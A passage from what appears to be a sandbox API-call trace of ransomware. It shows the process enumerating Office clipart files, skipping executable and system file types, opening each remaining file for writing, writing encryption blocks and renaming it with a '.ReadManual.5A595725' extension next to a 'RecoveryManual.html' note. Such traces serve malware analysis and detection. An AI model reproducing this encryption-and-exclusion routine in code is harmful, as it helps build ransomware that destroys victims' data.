hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0270.888] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02384_.WMF" | out: lpString1="NA02384_.WMF") returned="NA02384_.WMF" [0270.888] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.888] StrStrIW (lpFirst="NA02384_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.888] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.888] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.888] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" [0270.888] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.ReadManual.5A595725" [0270.888] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.ReadManual.5A595725") returned 87 [0270.889] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39155729360) returned 1 [0270.889] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf")) returned 0x20 [0270.889] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.890] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3032) returned 1 [0270.890] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd8, lpName=0x0) returned 0x184 [0270.890] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.891] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.891] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.893] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.893] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd8) returned 0x2f0000 [0270.893] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.893] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39156200153) returned 1 [0270.893] CloseHandle (hObject=0x184) returned 1 [0270.893] SetSecurityInfo () returned 0x57 [0270.893] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.893] CloseHandle (hObject=0x194) returned 1 [0270.894] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0270.894] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02386_.WMF" | out: lpString1="NA02386_.WMF") returned="NA02386_.WMF" [0270.894] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.894] StrStrIW (lpFirst="NA02386_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.894] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.894] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.894] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" [0270.894] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.ReadManual.5A595725" [0270.894] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.ReadManual.5A595725") returned 87 [0270.894] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39156297777) returned 1 [0270.894] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf")) returned 0x20 [0270.894] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.895] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2376) returned 1 [0270.895] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x948, lpName=0x0) returned 0x184 [0270.895] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.895] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.896] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.897] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.898] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x948) returned 0x2f0000 [0270.898] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.898] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39156645840) returned 1 [0270.898] CloseHandle (hObject=0x184) returned 1 [0270.898] SetSecurityInfo () returned 0x57 [0270.898] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.898] CloseHandle (hObject=0x194) returned 1 [0270.898] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0270.898] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02388_.WMF" | out: lpString1="NA02388_.WMF") returned="NA02388_.WMF" [0270.898] lstrcmpiW (lpString1="NA02388_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.898] StrStrIW (lpFirst="NA02388_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.898] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.898] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.899] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.899] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.899] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.899] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" [0270.899] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.ReadManual.5A595725" [0270.899] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.ReadManual.5A595725") returned 87 [0270.899] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39156748257) returned 1 [0270.899] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf")) returned 0x20 [0270.899] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.899] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3204) returned 1 [0270.899] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc84, lpName=0x0) returned 0x184 [0270.899] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.900] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.900] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.902] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.902] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc84) returned 0x2f0000 [0270.902] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.902] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39157101697) returned 1 [0270.902] CloseHandle (hObject=0x184) returned 1 [0270.902] SetSecurityInfo () returned 0x57 [0270.902] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.902] CloseHandle (hObject=0x194) returned 1 [0270.903] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0270.903] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02389_.WMF" | out: lpString1="NA02389_.WMF") returned="NA02389_.WMF" [0270.903] lstrcmpiW (lpString1="NA02389_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.903] StrStrIW (lpFirst="NA02389_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.903] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.903] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.903] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" [0270.903] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.ReadManual.5A595725" [0270.903] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.ReadManual.5A595725") returned 87 [0270.903] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39157201633) returned 1 [0270.903] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf")) returned 0x20 [0270.903] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.904] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2860) returned 1 [0270.904] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb2c, lpName=0x0) returned 0x184 [0270.904] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.905] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.905] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.906] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.906] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb2c) returned 0x2f0000 [0270.907] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.907] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39157541351) returned 1 [0270.907] CloseHandle (hObject=0x184) returned 1 [0270.907] SetSecurityInfo () returned 0x57 [0270.907] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.907] CloseHandle (hObject=0x194) returned 1 [0270.907] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0270.907] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02390_.WMF" | out: lpString1="NA02390_.WMF") returned="NA02390_.WMF" [0270.907] lstrcmpiW (lpString1="NA02390_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.907] StrStrIW (lpFirst="NA02390_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.907] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.907] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.908] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.908] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" [0270.908] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.ReadManual.5A595725" [0270.908] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.ReadManual.5A595725") returned 87 [0270.908] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39157641294) returned 1 [0270.908] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf")) returned 0x20 [0270.908] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.908] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3684) returned 1 [0270.908] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe64, lpName=0x0) returned 0x184 [0270.908] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.909] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.909] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.911] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.911] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe64) returned 0x2f0000 [0270.911] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.911] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39157986959) returned 1 [0270.911] CloseHandle (hObject=0x184) returned 1 [0270.911] SetSecurityInfo () returned 0x57 [0270.911] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.911] CloseHandle (hObject=0x194) returned 1 [0270.911] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0270.911] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02398_.WMF" | out: lpString1="NA02398_.WMF") returned="NA02398_.WMF" [0270.911] lstrcmpiW (lpString1="NA02398_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.912] StrStrIW (lpFirst="NA02398_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.912] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.912] StrCmpIW 